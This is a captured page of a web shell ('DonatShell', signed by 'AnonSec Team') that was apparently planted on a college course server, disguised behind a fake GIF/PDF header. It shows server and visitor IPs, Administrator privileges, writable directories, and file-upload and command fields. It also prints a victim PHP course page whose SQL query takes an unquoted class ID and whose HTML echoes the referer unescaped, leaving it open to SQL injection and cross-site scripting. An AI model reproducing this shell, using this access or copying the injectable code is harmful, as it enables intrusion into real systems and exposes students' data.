GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Course/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Course/ClassProfileView.phpinc
<?
// ClassProfileView.phpinc

debugTrackBegin();
#if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; }
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - Class Profile';
$pageTitle = $courseNumber.' '.$courseTitle.'<br>Class Profile';
$pageMenu = 'Course/courseMenu.phpinc';
include('common/pageHeader.phpinc');
$sectionTitle = $CDN[0].$CDN[1]." Class Profile";
include('common/sectionHeader.phpinc');
// Get the classprofile info.

if (isset($f_classId)) {
	$query = "
	SELECT *
	FROM classprofile
	WHERE userId = ".$_SESSION['userId']."
	AND classprofileYRTR = '".$_SESSION['YRTR']['User']."'
	AND classId = ".$f_classId."
	";
	//AND courseNumber = '".$courseNumber."'
	$classprofileResult = query_do($query);
	$classprofileCount = $_SESSION['qry']['count'];
	if ($classprofileCount) {
		// Display the current Class Profile.
		$classprofileRow = mysqli_fetch_assoc($classprofileResult);
		$f_classprofileId = $classprofileRow['classprofileId'];
		$f_classprofileYRTR = $classprofileRow['classprofileYRTR'];
		$f_courseNumber = $classprofileRow['courseNumber'];
		$f_classprofileClass = $classprofileRow['classprofileClass'];
		$f_classprofileOutcome = $classprofileRow['classprofileOutcome'];
		$f_classprofileSubmitted = $classprofileRow['classprofileSubmitted'];
	} else {
	// There is no current Class Profile.
		$f_classprofileId = 0;
		$f_classprofileYRTR = $_SESSION['YRTR']['User'];
		$f_courseNumber = $courseNumber;
		$f_classprofileClass = '';
		$f_classprofileOutcome = '';
		$f_classprofileSubmitted = 0;
	}
	$f_error = false;
	if ($f_classprofileClass != '') {
		$f_classprofileClassError = '';
	} else {
		$f_error = true;
		$f_classprofileClassError = '<br><span class="error">Describe why you took '.$f_courseNumber.' '.$courseTitle.'.</span>';
	}
	if ($f_classprofileOutcome != '') {
		$f_classprofileOutcomeError = '';
	} else {
		$f_error = true;
		$f_classprofileOutcomeError = '<br><span class="error">Describe what you expect to learn from '.$f_courseNumber.' '.$courseTitle.'.</span>';
	}
	$uploaddir = $_SESSION['UPLOAD_DIR'].$_SESSION['YRTR']['User']."/ClassProfile/".$_SESSION['userStudentId']."/";
	if (!isset($f_HTTP_REFERER)) $f_HTTP_REFERER = $_SERVER['HTTP_REFERER'];
	?>
	<div style="margin:20px;">
	<form name="form_classprofile_view" action="<?=php_self()?>" method="post">
	<input name="f_form" type="hidden" value="form_classprofile">
	<input name="f_task" type="hidden" value="ClassProfile">
	<input name="f_classId" type="hidden" value="<?=$f_classId?>">
	<input name="f_classprofileId" type="hidden" value="<?=$f_classprofileId?>">
	<input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>">
	<input name="f_HTTP_REFERER" type="hidden" value="<?=$f_HTTP_REFERER?>">
	The Class Profile consists of two parts:
	<ol start="1">
		<li class="normal"><b>Why</b>. Describe why you took <?=$f_courseNumber?> <?=$courseTitle?>.<br>
			<span class="info"><?=htmlCRtoBR($f_classprofileClass)?></span>
			<?=$f_classprofileClassError?>
			<br><br>
		</li>
		<li class="normal"><b>What</b>. Describe what you expect to learn from <?=$f_courseNumber?> <?=$courseTitle?>.<br>
			<span class="info"><?=htmlCRtoBR($f_classprofileOutcome)?></span>
			<?=$f_classprofileOutcomeError?>
			<br><br>
		</li>
	</ol>
	<div class="normal" style="margin-left:35px;">
	<input type="submit" name="f_subtask" value="Edit"> Edit your <?=$f_courseNumber?> Class Profile.
	<?
	if (!$f_error && !$f_classprofileSubmitted) {
	?>
	<br>
	<input type="submit" name="f_subtask" value="Submit assignment"> Submit your <?=$f_courseNumber?> Class Profile for grading.
	<?
	}
		if ($f_HTTP_REFERER != '') {
?>
		<br>
		<input type="submit" name="f_subtask" value="Return" />
<?
		}
?>
	</div>
	</form>
	</div>
	<?
} else {
?>
	The Class Profile assignment is not yet online.
  <br>
  Please contact your Instructor.
<?
}
include('common/sectionFooter.phpinc');
#setDebugOn();
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team